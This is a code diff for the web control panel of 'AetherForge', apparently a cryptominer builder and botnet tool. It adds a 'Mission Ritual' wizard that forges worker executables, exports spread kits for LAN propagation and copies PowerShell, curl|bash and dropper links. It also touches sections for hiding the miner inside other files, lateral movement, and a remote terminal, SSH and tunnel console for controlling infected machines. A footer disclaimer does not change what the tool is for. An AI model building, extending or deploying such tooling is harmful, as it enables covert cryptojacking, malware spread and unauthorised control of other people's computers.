expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--ghost');
});
it('honors forge theme override over operation mode', async () => {
localStorage.setItem('aetherforge-operation-mode', 'ghost_walk');
localStorage.setItem('aetherforge-forge-theme', 'halloween');
const { container } = renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--halloween');
expect(container.querySelector('.command-deck')).not.toHaveClass('forge-skin--ghost');
});
it('updates forge skin when operation mode chip is selected', async () => {
localStorage.setItem('aetherforge-forge-theme', 'auto');
const { container } = renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
await userEvent.setup().click(screen.getByRole('button', { name: 'Wildfire' }));
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--wildfire');
});
it('applies crucible skin for Crucible Storm mode', async () => {
localStorage.setItem('aetherforge-operation-mode', 'crucible_storm');
localStorage.setItem('aetherforge-forge-theme', 'auto');
const { container } = renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--crucible');
});
it('applies halloween skin for Sigil Mask mode', async () => {
localStorage.setItem('aetherforge-operation-mode', 'sigil_mask');
localStorage.setItem('aetherforge-forge-theme', 'auto');
const { container } = renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--halloween');
});
it('renders mission ritual wizard with three step pills', async () => {
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
const wizard = missionWizardScope();
expect(screen.getByText('MISSION RITUAL — 3-STEP WIZARD')).toBeInTheDocument();
expect(wizard.getByRole('tab', { name: /Mode/i })).toBeInTheDocument();
expect(wizard.getByRole('tab', { name: /Profile/i })).toBeInTheDocument();
expect(wizard.getByRole('tab', { name: /Launch/i })).toBeInTheDocument();
expect(wizard.getByRole('button', { name: 'Ghost' })).toBeInTheDocument();
expect(wizard.getByRole('button', { name: 'Loud' })).toBeInTheDocument();
expect(wizard.getByRole('button', { name: 'Spread' })).toBeInTheDocument();
});
it('advances mission wizard from mode to profile to launch', async () => {
const user = userEvent.setup();
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
const wizard = missionWizardScope();
await user.click(wizard.getByRole('button', { name: 'Spread' }));
await user.click(wizard.getByRole('button', { name: 'Next →' }));
expect(wizard.getByText('Spread profile (optional)')).toBeInTheDocument();
await user.click(wizard.getByRole('button', { name: 'LAN Kindling' }));
await user.click(wizard.getByRole('button', { name: 'Next →' }));
expect(wizard.getByRole('button', { name: '🚀 Launch Ritual' })).toBeInTheDocument();
expect(wizard.getByLabelText('Campaign slug (?c=)')).toBeInTheDocument();
});
it('runs mission ritual and shows success modal with spread landing link', async () => {
vi.spyOn(api, 'buildAgent').mockResolvedValue({
success: true,
build_id: 'ritual-build-1',
file_name: 'worker-ritual.exe',
file_size: 4096,
download_url: '/api/v1/builds/ritual-build-1/download',
fusion_enabled: false,
obfuscated: false,
signed: false,
});
vi.spyOn(api, 'exportSpreadKit').mockResolvedValue(undefined);
const user = userEvent.setup();
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
const wizard = missionWizardScope();
await user.click(wizard.getByRole('button', { name: 'Spread' }));
await user.click(wizard.getByRole('button', { name: 'Next →' }));
await user.click(wizard.getByRole('button', { name: 'LAN Kindling' }));
await user.click(wizard.getByRole('button', { name: 'Next →' }));
await user.click(wizard.getByRole('button', { name: '🚀 Launch Ritual' }));
expect(await screen.findByText('Mission complete — links copied')).toBeInTheDocument();
expect(screen.getByRole('link', { name: 'Open spread landing' })).toHaveAttribute('href', '/spread/');
expect(api.buildAgent).toHaveBeenCalled();
expect(api.exportSpreadKit).toHaveBeenCalled();
});
});

View File

@@ -32,6 +32,7 @@ import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
import DownloadButton from '../components/DownloadButton';
import PoolPresetPicker from '../components/PoolPresetPicker';
import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
import { useModalAmbientDuck } from '../context/AmbientMusicContext';
import { useForge } from '../context/ForgeContext';
import {
fusionPayloadKind,
@@ -43,7 +44,46 @@ import {
defaultEmbeddedName,
} from '../help/fusionMedia';
import { SPREAD_PROFILES, applySpreadProfile, type SpreadProfileId } from '../help/spreadProfiles';
import {
FORGE_THEME_EVENT,
OPERATION_MODES,
applyOperationMode,
forgeSkinClassName,
loadStoredForgeTheme,
loadStoredOperationMode,
resolveForgeSkin,
storeOperationMode,
type OperationModeId,
} from '../help/forgeOperationModes';
import {
MISSION_STEPS,
MISSION_STEP_LABELS,
applyMissionPresets,
copyMissionLinks,
missionStepStatus,
runForgeMission,
type MissionLinks,
type MissionStep,
} from '../help/forgeMission';
import {
MISSION_OPERATION_CHIPS,
MISSION_WIZARD_STEPS,
MISSION_WIZARD_STEP_LABELS,
canAdvanceWizardStep,
missionChipForMode,
nextWizardStep,
operationModeForChip,
prevWizardStep,
wizardPillStatus,
type MissionOperationChip,
type MissionWizardStep,
} from '../help/forgeMissionWizard';
import './Pages.css';
import './BuilderPage.css';
function forgePageClass(operationMode: OperationModeId, themeOverride: ReturnType<typeof loadStoredForgeTheme>): string {
return `page fade-in command-deck operator-deck-page ${forgeSkinClassName(resolveForgeSkin(operationMode, themeOverride))}`;
}
export function formatBytes(n: number): string {
if (n < 1024) return `${n} B`;
@@ -160,6 +200,30 @@ export default function BuilderPage() {
const [highlightFusionPrep, setHighlightFusionPrep] = useState(false);
const fusionPrepRef = useRef<HTMLDivElement>(null);
const [spreadProfile, setSpreadProfile] = useState<SpreadProfileId | ''>('');
const [operationMode, setOperationMode] = useState<OperationModeId>(loadStoredOperationMode);
const [forgeTheme, setForgeTheme] = useState(loadStoredForgeTheme);
const [missionCampaign, setMissionCampaign] = useState('forge-mission');
const [missionWizardStep, setMissionWizardStep] = useState<MissionWizardStep>('mode');
const [missionOperationChip, setMissionOperationChip] = useState<MissionOperationChip>(() =>
missionChipForMode(loadStoredOperationMode()),
);
const [missionStep, setMissionStep] = useState<MissionStep | null>(null);
const [missionBusy, setMissionBusy] = useState(false);
const [missionExportSkipped, setMissionExportSkipped] = useState(false);
const [missionModal, setMissionModal] = useState<MissionLinks | null>(null);
useModalAmbientDuck(!!missionModal);
useEffect(() => {
const syncTheme = () => setForgeTheme(loadStoredForgeTheme());
window.addEventListener(FORGE_THEME_EVENT, syncTheme);
window.addEventListener('storage', syncTheme);
return () => {
window.removeEventListener(FORGE_THEME_EVENT, syncTheme);
window.removeEventListener('storage', syncTheme);
};
}, []);
const forgeSkinClass = forgePageClass(operationMode, forgeTheme);
// Drive simulated stage progress while a single build is running
useEffect(() => {
@@ -248,7 +312,8 @@ export default function BuilderPage() {
const buildList = builds as BuildRecord[];
const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, buildList);
setRecentBuilds(buildList);
setForm(applySmartForgeDefaults(base, { builds: buildList, endpointCandidates: candidates }));
const withDefaults = applySmartForgeDefaults(base, { builds: buildList, endpointCandidates: candidates });
setForm(applyOperationMode(withDefaults, loadStoredOperationMode()));
})
.catch((err) => {
console.error(err);
@@ -643,6 +708,72 @@ export default function BuilderPage() {
}
};
const selectMissionOperationChip = (chip: MissionOperationChip) => {
setMissionOperationChip(chip);
const modeId = operationModeForChip(chip);
setOperationMode(modeId);
storeOperationMode(modeId);
if (form) setForm(applyOperationMode(form, modeId));
};
const handleLaunchMission = async () => {
if (!form) return;
setError('');
setLastBuild(null);
setMissionModal(null);
setMissionExportSkipped(false);
setMissionWizardStep('launch');
const normalized = applyMissionPresets(form, operationMode, spreadProfile);
setForm(normalized);
const checks = runForgePreflight(normalized, !!fusionPrepFile);
if (preflightHasErrors(checks)) {
setError('Mission blocked — fix preflight errors before launching.');
return;
}
const serverBase = (normalized.server_url || serverInfo?.suggested_url || window.location.origin).replace(/\/$/, '');
const cancelToken = crypto.randomUUID();
cancelTokenRef.current = cancelToken;
setMissionBusy(true);
setMissionStep('configure');
setBuilding(true);
try {
const result = await runForgeMission({
form: normalized,
operationMode,
spreadProfile,
campaign: missionCampaign,
serverBase,
fusionPrepFile,
api,
cancelToken,
onStep: (step) => {
setMissionStep(step);
if (step === 'forge') startForge();
},
});
setMissionExportSkipped(result.exportSkipped);
setForm(normalized);
await copyMissionLinks(result.links);
setMissionModal(result.links);
await finishForgeSuccess(result.build);
} catch (err: unknown) {
const msg = err instanceof Error ? err.message : 'Mission failed';
if (msg !== 'build cancelled') {
setMissionStep('error');
setError(msg);
void loadRecentBuilds();
}
} finally {
cancelTokenRef.current = '';
setMissionBusy(false);
setBuilding(false);
}
};
const handleSubmit = async (e: React.FormEvent) => {
e.preventDefault();
if (!form) return;
@@ -701,7 +832,7 @@ export default function BuilderPage() {
const kind = form ? deriveDeliverableType(form) : 'single';
// Preserve the user's manually-entered server_url — don't overwrite with LAN IP on defaults refresh
const merged = applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled, server_url: form.server_url || base.server_url }, { builds, endpointCandidates: candidates });
setForm(applyDeliverableType(merged, kind));
setForm(applyOperationMode(applyDeliverableType(merged, kind), operationMode));
setBlueprintMsg('✅ Recommended defaults applied');
setTimeout(() => setBlueprintMsg(''), 2500);
} catch (err: unknown) {
@@ -797,7 +928,7 @@ export default function BuilderPage() {
if (loadingDefaults) {
return (
<div className="page fade-in command-deck">
<div className={forgeSkinClass}>
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
@@ -811,7 +942,7 @@ export default function BuilderPage() {
if (!form) {
return (
<div className="page fade-in command-deck">
<div className={forgeSkinClass}>
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
@@ -838,7 +969,7 @@ export default function BuilderPage() {
const setupStatus = getSetupStatus(calibrateConfig);
return (
<div className="page fade-in command-deck">
<div className={forgeSkinClass}>
<SetupBanner status={setupStatus} />
{pendingReforgeBuild && (
<div className="reforge-confirm-banner form-error" role="alert">
@@ -1009,12 +1140,18 @@ export default function BuilderPage() {
)}
<div className="builder-layout builder-layout-wide">
<div className="card cheat-sheet-panel">
<div className="card cheat-sheet-panel operator-deck-card operator-interactive">
<h2>Quick links</h2>
<p className="form-hint">Full visual guide with pipeline, Fusion, AI, and troubleshooting.</p>
<Link to="/guide" className="btn btn-primary" style={{ marginBottom: '1rem', display: 'inline-block' }}>
<a
href="/docs/"
target="_blank"
rel="noopener noreferrer"
className="btn btn-primary"
style={{ marginBottom: '1rem', display: 'inline-block' }}
>
Open Field Guide
</Link>
</a>
<div className="cheat-sheet">
{SETUP_CHEATSHEET.map((item) => (
<div key={item.title} className="cheat-sheet-item">
@@ -1028,6 +1165,189 @@ export default function BuilderPage() {
<div className="card builder-form">
{simpleMode ? (
<>
<div className="forge-mission-wizard card operator-deck-card operator-interactive">
<p className="font-tech">MISSION RITUAL 3-STEP WIZARD</p>
<p className="form-hint" style={{ marginTop: 0 }}>
Guided flow: pick Ghost/Loud/Spread, choose a spread profile, launch the ritual.
Full forge fields below stay available for power users.
</p>
<div className="forge-mission-wizard-pills" role="tablist" aria-label="Mission wizard steps">
{MISSION_WIZARD_STEPS.map((step, idx) => {
const status = wizardPillStatus(step, missionWizardStep);
return (
<button
key={step}
type="button"
role="tab"
aria-selected={status === 'active'}
className={`forge-mission-wizard-pill ${status}`}
disabled={missionBusy}
onClick={() => setMissionWizardStep(step)}
>
<span className="forge-mission-wizard-pill-num">
{status === 'done' ? '✓' : idx + 1}
</span>
{MISSION_WIZARD_STEP_LABELS[step]}
</button>
);
})}
</div>
<div className="forge-mission-wizard-panel">
{missionWizardStep === 'mode' && (
<div>
<p className="label" style={{ marginBottom: '0.5rem' }}>Operation temperament</p>
<div className="forge-mission-chip-grid">
{MISSION_OPERATION_CHIPS.map((chip) => (
<button
key={chip.id}
type="button"
aria-label={chip.label}
className={`forge-mission-op-chip ${missionOperationChip === chip.id ? 'active' : ''}`}
style={{
borderColor: missionOperationChip === chip.id ? chip.color : undefined,
color: missionOperationChip === chip.id ? chip.color : undefined,
}}
disabled={missionBusy}
onClick={() => selectMissionOperationChip(chip.id)}
>
<strong>{chip.label}</strong>
<span>{chip.blurb}</span>
</button>
))}
</div>
</div>
)}
{missionWizardStep === 'profile' && (
<div>
<p className="label" style={{ marginBottom: '0.5rem' }}>Spread profile (optional)</p>
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
<button
type="button"
className={`endpoint-chip ${spreadProfile === '' ? 'active' : ''}`}
disabled={missionBusy}
onClick={() => {
setSpreadProfile('');
}}
>
None
</button>
{SPREAD_PROFILES.map((p) => (
<button
key={p.id}
type="button"
className={`endpoint-chip ${spreadProfile === p.id ? 'active' : ''}`}
style={{
borderColor: spreadProfile === p.id ? p.color : undefined,
color: spreadProfile === p.id ? p.color : undefined,
}}
title={p.blurb}
disabled={missionBusy}
onClick={() => {
setSpreadProfile(p.id);
if (form) setForm(applySpreadProfile(form, p.id));
}}
>
{p.label}
</button>
))}
</div>
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
{spreadProfile
? SPREAD_PROFILES.find((p) => p.id === spreadProfile)?.blurb
: 'Skip to forge without a spread profile preset.'}
</p>
</div>
)}
{missionWizardStep === 'launch' && (
<div>
<div className="form-group" style={{ marginBottom: '0.5rem', maxWidth: '20rem' }}>
<label className="label" htmlFor="mission-campaign">Campaign slug (?c=)</label>
<input
id="mission-campaign"
type="text"
className="input mono"
value={missionCampaign}
disabled={missionBusy}
onChange={(e) => setMissionCampaign(e.target.value)}
placeholder="forge-mission"
/>
</div>
{(missionBusy || missionStep === 'error') && (
<div className="forge-mission-steps" aria-live="polite">
{MISSION_STEPS.map((step) => {
const status = missionStep
? missionStepStatus(step, missionStep, missionExportSkipped)
: 'pending';
return (
<span key={step} className={`forge-mission-step ${status}`}>
{status === 'done' ? '✓' : status === 'active' ? '●' : status === 'skipped' ? '—' : status === 'error' ? '✕' : '○'}
{' '}
{MISSION_STEP_LABELS[step]}
{step === 'export' && missionExportSkipped ? ' (n/a)' : ''}
</span>
);
})}
</div>
)}
{!missionBusy && missionStep !== 'error' && (
<p className="form-hint" style={{ marginTop: 0 }}>
Ritual: Configure presets Forge (45 min timeout) Export spread ZIP Copy dropper links.
</p>
)}
</div>
)}
</div>
<div className="forge-mission-wizard-nav">
{prevWizardStep(missionWizardStep) && (
<button
type="button"
className="btn btn-outline btn-sm"
disabled={missionBusy}
onClick={() => {
const prev = prevWizardStep(missionWizardStep);
if (prev) setMissionWizardStep(prev);
}}
>
Back
</button>
)}
{missionWizardStep !== 'launch' && canAdvanceWizardStep(missionWizardStep, missionOperationChip, spreadProfile) && (
<button
type="button"
className="btn btn-primary btn-sm"
disabled={missionBusy}
onClick={() => {
const next = nextWizardStep(missionWizardStep);
if (next) setMissionWizardStep(next);
}}
>
Next
</button>
)}
{missionWizardStep === 'launch' && (
<>
<button
type="button"
className="btn btn-primary"
disabled={missionBusy || building || !canForge}
onClick={() => void handleLaunchMission()}
>
{missionBusy ? 'Ritual running…' : '🚀 Launch Ritual'}
</button>
{missionBusy && (
<button
type="button"
className="btn btn-danger btn-sm"
onClick={handleKillBuild}
title="Kill the running compiler immediately"
>
Kill Build
</button>
)}
</>
)}
</div>
</div>
<div className="forge-simple-banner card">
<p className="font-tech">RECOMMENDED DEFAULTS AUTO-SELECTED</p>
<p className="form-hint">{RECOMMENDED_DEFAULTS_BLURB}</p>
@@ -1035,6 +1355,29 @@ export default function BuilderPage() {
Reset to recommended defaults
</button>
</div>
<div className="form-group" style={{ marginBottom: '1rem' }}>
<label className="label">Operation mode presets</label>
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
{OPERATION_MODES.map((m) => (
<button
key={m.id}
type="button"
className={`endpoint-chip forge-mode-chip ${operationMode === m.id ? 'active' : ''}`}
style={{ borderColor: operationMode === m.id ? m.color : undefined, color: operationMode === m.id ? m.color : undefined }}
title={m.blurb}
onClick={() => {
setOperationMode(m.id);
storeOperationMode(m.id);
setMissionOperationChip(missionChipForMode(m.id));
if (form) setForm(applyOperationMode(form, m.id));
}}
>
{m.label}
</button>
))}
</div>
<p className="form-hint">{OPERATION_MODES.find((m) => m.id === operationMode)?.blurb}</p>
</div>
<div className="form-group" style={{ marginBottom: '1rem' }}>
<label className="label">Spread profile presets</label>
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
@@ -1106,7 +1449,7 @@ export default function BuilderPage() {
</p>
<form onSubmit={handleSubmit}>
<div className="form-section">
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Identity"
badge="baked"
@@ -1218,7 +1561,7 @@ export default function BuilderPage() {
{/* ── Connection profile (advanced) ─────────────────────── */}
{!simpleMode && (
<div className="form-section">
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Connection Profile"
badge="baked"
@@ -1310,7 +1653,7 @@ export default function BuilderPage() {
<FieldHint field="wallet" />
</div>
<div className="form-section">
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Mining Pools"
badge="baked"
@@ -1343,7 +1686,7 @@ export default function BuilderPage() {
</div>
{/* ── GPU Mining (Ravencoin / KawPoW) ── */}
<div className="form-section">
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="GPU Mining — Ravencoin"
badge="baked"
@@ -1409,7 +1752,7 @@ export default function BuilderPage() {
)}
</div>
<div className="form-section">
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Deliverable"
badge="baked"
@@ -1446,7 +1789,7 @@ export default function BuilderPage() {
</div>
</div>
<div className="form-section">
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Platform"
badge="baked"
@@ -1530,7 +1873,7 @@ export default function BuilderPage() {
{!simpleMode && (
<>
<div className="form-section">
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Performance & Resources"
badge="baked"
@@ -1662,7 +2005,7 @@ export default function BuilderPage() {
)}
</div>
<div className="form-section">
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Install & Process"
badge="baked"
@@ -1903,7 +2246,7 @@ export default function BuilderPage() {
)}
{deliverableType !== 'spread_kit' && (
<div className="form-section">
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Fusion — Hide miner in any file"
badge="baked"
@@ -2233,7 +2576,7 @@ export default function BuilderPage() {
)}
{/* ── PATH FORGE ─────────────────────────────────────────────── */}
<div className="form-section" style={{ borderTop: '1px solid #ff8c0033', paddingTop: '1.25rem' }}>
<div className="form-section operator-deck-card operator-interactive" style={{ borderTop: '1px solid #ff8c0033', paddingTop: '1.25rem' }}>
<ForgeSectionHeader
title="PATH FORGE — Recursive Batch Seed"
badge="server-only"
@@ -2373,7 +2716,7 @@ export default function BuilderPage() {
{!simpleMode && (
<>
<div className="form-section">
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Build pipeline"
badge="server-only"
@@ -2411,7 +2754,7 @@ export default function BuilderPage() {
</div>
</div>
<div className="form-section">
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Autonomy, Mesh & Lateral Movement"
badge="baked"
@@ -2533,7 +2876,7 @@ export default function BuilderPage() {
</>
)}
<div className="preflight-panel card">
<div className="preflight-panel card operator-deck-card operator-interactive">
<h3 className="font-tech">PREFLIGHT CROSS-CHECK</h3>
<ul className="preflight-list">
{preflightChecks.map((c) => (
@@ -2646,6 +2989,54 @@ export default function BuilderPage() {
{dispenseReveal?.success && (
<ForgeDispenseReveal result={dispenseReveal} onClose={() => setDispenseReveal(null)} />
)}
{missionModal && (
<div
className="forge-mission-modal-backdrop"
role="dialog"
aria-modal="true"
aria-labelledby="mission-modal-title"
onClick={() => setMissionModal(null)}
>
<div className="forge-mission-modal" onClick={(e) => e.stopPropagation()}>
<h3 id="mission-modal-title">Mission complete — links copied</h3>
<p className="form-hint" style={{ marginTop: 0 }}>
PowerShell, bash, and /get URLs are on your clipboard. Pin + campaign query included when set.
</p>
<div className="forge-mission-link-block">
<p>PowerShell</p>
<code>{missionModal.ps1}</code>
</div>
<div className="forge-mission-link-block">
<p>curl | bash</p>
<code>{missionModal.sh}</code>
</div>
<div className="forge-mission-link-block">
<p>/get dropper</p>
<code>{missionModal.get}</code>
</div>
<div style={{ display: 'flex', gap: '0.5rem', flexWrap: 'wrap' }}>
<button
type="button"
className="btn btn-outline btn-sm"
onClick={() => void copyMissionLinks(missionModal)}
>
Copy all
</button>
<a
href="/spread/"
target="_blank"
rel="noopener noreferrer"
className="btn btn-outline btn-sm"
>
Open spread landing
</a>
<button type="button" className="btn btn-primary btn-sm" onClick={() => setMissionModal(null)}>
Done
</button>
</div>
</div>
</div>
)}
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>

View File

@@ -4,6 +4,38 @@
max-width: 1400px;
}
/* ── Sidebar layout + fleet heat mini-map ─────────────────────────────── */
.crucible-layout {
display: grid;
grid-template-columns: minmax(200px, 240px) 1fr;
gap: 1rem;
align-items: start;
}
.crucible-sidebar {
position: sticky;
top: 0.75rem;
}
.crucible-heat-card {
padding: 0.75rem !important;
}
.crucible-main {
min-width: 0;
}
@media (max-width: 960px) {
.crucible-layout {
grid-template-columns: 1fr;
}
.crucible-sidebar {
position: static;
}
}
.crucible-sel-summary {
display: flex;
flex-direction: column;

View File

@@ -17,6 +17,8 @@ import FileManager from '../components/Fleet/FileManager';
import RemoteDirBrowser from '../components/Fleet/RemoteDirBrowser';
import ProtocolTunnelPanel from '../components/Fleet/ProtocolTunnelPanel';
import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps';
import FleetHeatMiniMap from '../components/Fleet/FleetHeatMiniMap';
import AlsoHere from '../components/Presence/AlsoHere';
import '../components/Fleet/FullSysCheckPanel.css';
import '../components/Fleet/ProtocolTunnelPanel.css';
import './CruciblePage.css';
@@ -524,6 +526,8 @@ export default function CruciblePage() {
return next;
});
const selectAgent = (id: string) => setSelectedIds(new Set([id]));
const selectAll = () => setSelectedIds(new Set(agents.filter(online).map((a) => a.id)));
const clearSel = () => setSelectedIds(new Set());
@@ -885,7 +889,7 @@ export default function CruciblePage() {
// ── Render ─────────────────────────────────────────────────────────────
return (
<div className="page fade-in crucible-page">
<div className="page fade-in crucible-page operator-deck-page">
<header className="deck-hero" style={{ marginBottom: '1rem' }}>
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">REMOTE OPERATIONS THEATER</p>
@@ -911,6 +915,8 @@ export default function CruciblePage() {
</div>
</header>
<AlsoHere page="/crucible" />
<FleetGroupsStrip
groups={groups}
liveAgentIds={onlineAgentIds}
@@ -920,8 +926,26 @@ export default function CruciblePage() {
onCreateGroup={() => setShowGroupModal(true)}
/>
<div className="crucible-layout">
<aside className="crucible-sidebar">
<NeonCard
accent="cyan"
className="crucible-heat-card operator-deck-card operator-interactive"
tilt3d={false}
>
<FleetHeatMiniMap
agents={agents}
groups={groups}
allIds={allIds}
selectedIds={selectedIds}
onSelectAgent={selectAgent}
/>
</NeonCard>
</aside>
<div className="crucible-main">
{/* ── Node Roster ─────────────────────────────────────────────────── */}
<NeonCard accent="cyan" className="crucible-roster-card" hud tilt3d={false}>
<NeonCard accent="cyan" className="crucible-roster-card operator-deck-card operator-interactive" hud tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> NODE ROSTER
</div>
@@ -939,7 +963,7 @@ export default function CruciblePage() {
return (
<div
key={a.id}
className={`crucible-node-card ${sel ? 'selected' : ''} ${isOn ? '' : 'offline'}`}
className={`crucible-node-card operator-interactive ${sel ? 'selected' : ''} ${isOn ? '' : 'offline'}`}
style={{
...(sel ? { '--sel-color': color } : {}),
...(pg ? { borderLeft: `3px solid ${pg.color}` } : {}),
@@ -1098,7 +1122,7 @@ export default function CruciblePage() {
{/* ── Groups & Actions ────────────────────────────────────────────── */}
<div className="crucible-row">
<NeonCard accent="purple" className="crucible-groups-card" tilt3d={false}>
<NeonCard accent="purple" className="crucible-groups-card operator-deck-card operator-interactive" tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> GROUPS
</div>
@@ -1141,7 +1165,7 @@ export default function CruciblePage() {
)}
</NeonCard>
<NeonCard accent="amber" className="crucible-actions-card" tilt3d={false}>
<NeonCard accent="amber" className="crucible-actions-card operator-deck-card operator-interactive" tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> OPERATIONS
{selectedIds.size > 0 && (
@@ -1810,7 +1834,7 @@ export default function CruciblePage() {
</div>
{/* ── Terminal ────────────────────────────────────────────────────── */}
<NeonCard accent="green" className="crucible-term-card" tilt3d={false}>
<NeonCard accent="green" className="crucible-term-card operator-deck-card operator-interactive" tilt3d={false}>
<div className="crucible-term-header">
<div className="crucible-section-title font-tech" style={{ marginBottom: 0 }}>
<span className="section-ornament"></span> TERMINAL
@@ -1883,7 +1907,7 @@ export default function CruciblePage() {
</NeonCard>
{/* ── SSH Access Info ─────────────────────────────────────────────── */}
<NeonCard accent="brass" className="crucible-ssh-info" tilt3d={false}>
<NeonCard accent="brass" className="crucible-ssh-info operator-deck-card operator-interactive" tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> SSH ACCESS NOTES
</div>
@@ -1916,7 +1940,7 @@ export default function CruciblePage() {
</NeonCard>
{singleSelectedAgent && (
<NeonCard accent="cyan" className="crucible-tunnel-panel-wrap" tilt3d={false}>
<NeonCard accent="cyan" className="crucible-tunnel-panel-wrap operator-deck-card operator-interactive" tilt3d={false}>
<ProtocolTunnelPanel
agentId={singleSelectedAgent.id}
agentName={singleSelectedAgent.name}
@@ -1953,6 +1977,8 @@ export default function CruciblePage() {
setShowGroupModal(false);
}}
/>
</div>
</div>
</div>
);
}

View File

@@ -392,7 +392,7 @@ export default function DashboardPage() {
};
return (
<div className="page fade-in command-deck">
<div className="page fade-in command-deck operator-deck-page">
<AlertBanner alerts={alerts} />
{/* Fleet Health — always above the fold */}
@@ -464,13 +464,14 @@ export default function DashboardPage() {
</div>
</div>
<NeonCard accent="green" className="section" hud>
<NeonCard accent="green" className="section operator-deck-card operator-interactive" hud>
<h2 className="section-title font-display" style={{ marginBottom: '0.25rem' }}>
<span className="section-ornament"></span> Fleet Pipeline
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginTop: 0 }}>
Visual progress lit nodes mean that stage is active. <Link to="/guide">Open Field Guide </Link>
Visual progress lit nodes mean that stage is active.{' '}
<a href="/docs/" target="_blank" rel="noopener noreferrer">Open Documentation </a>
</p>
<FleetPipelineStatus
hasBuilds={hasBuilds}
@@ -482,7 +483,7 @@ export default function DashboardPage() {
</NeonCard>
<section className="gauge-row">
<NeonCard accent="cyan" className="gauge-card" hud>
<NeonCard accent="cyan" className="gauge-card operator-deck-card operator-interactive" hud>
<GaugeRing
value={totalHashrate}
max={Math.max(totalHashrate * 1.2, 1000)}
@@ -492,7 +493,7 @@ export default function DashboardPage() {
size={110}
/>
</NeonCard>
<NeonCard accent="green" className="gauge-card" hud>
<NeonCard accent="green" className="gauge-card operator-deck-card operator-interactive" hud>
<GaugeRing
value={onlinePct}
label="Online"
@@ -501,10 +502,10 @@ export default function DashboardPage() {
size={110}
/>
</NeonCard>
<NeonCard accent="purple" className="gauge-card" hud>
<NeonCard accent="purple" className="gauge-card operator-deck-card operator-interactive" hud>
<GaugeRing value={acceptRate} label="Accept" sublabel="share rate" color="var(--neon-purple)" size={110} />
</NeonCard>
<NeonCard accent="amber" className="gauge-card" hud>
<NeonCard accent="amber" className="gauge-card operator-deck-card operator-interactive" hud>
<GaugeRing
value={avgCpu}
label="CPU"
@@ -676,7 +677,7 @@ export default function DashboardPage() {
{/* Gauge row */}
<section className="gauge-row rvn-gauges">
<NeonCard accent="gold" className="gauge-card" hud>
<NeonCard accent="gold" className="gauge-card operator-deck-card operator-interactive" hud>
<GaugeRing
value={totalGPUHashrate}
max={Math.max(totalGPUHashrate * 1.2, 1e6)}
@@ -686,7 +687,7 @@ export default function DashboardPage() {
size={110}
/>
</NeonCard>
<NeonCard accent="amber" className="gauge-card" hud>
<NeonCard accent="amber" className="gauge-card operator-deck-card operator-interactive" hud>
<GaugeRing
value={gpuHashrate15s}
max={Math.max(gpuHashrate15s * 1.2, 1e6)}
@@ -696,7 +697,7 @@ export default function DashboardPage() {
size={110}
/>
</NeonCard>
<NeonCard accent="cyan" className="gauge-card" hud>
<NeonCard accent="cyan" className="gauge-card operator-deck-card operator-interactive" hud>
<GaugeRing
value={gpuAgents.length}
max={Math.max(agents.length, 1)}
@@ -919,7 +920,7 @@ export default function DashboardPage() {
<NeonCard
key={agent.id}
accent={agent.status === 'online' ? 'cyan' : 'brass'}
className="agent-card detailed machine-panel"
className="agent-card detailed machine-panel operator-deck-card operator-interactive"
style={{ animationDelay: `${i * 0.05}s` } as CSSProperties}
>
<div className="agent-card-header">

View File

@@ -29,6 +29,26 @@
font-size: 0.85rem;
}
.emberwake-technique-list {
margin: 0;
padding-left: 1.2rem;
font-size: 0.85rem;
color: var(--text-dim, #aaa);
}
.emberwake-technique-list li {
margin-bottom: 0.35rem;
}
.emberwake-technique-list a {
color: var(--neon-cyan, #3dd6c6);
text-decoration: none;
}
.emberwake-technique-list a:hover {
text-decoration: underline;
}
.emberwake-campaign-list {
list-style: none;
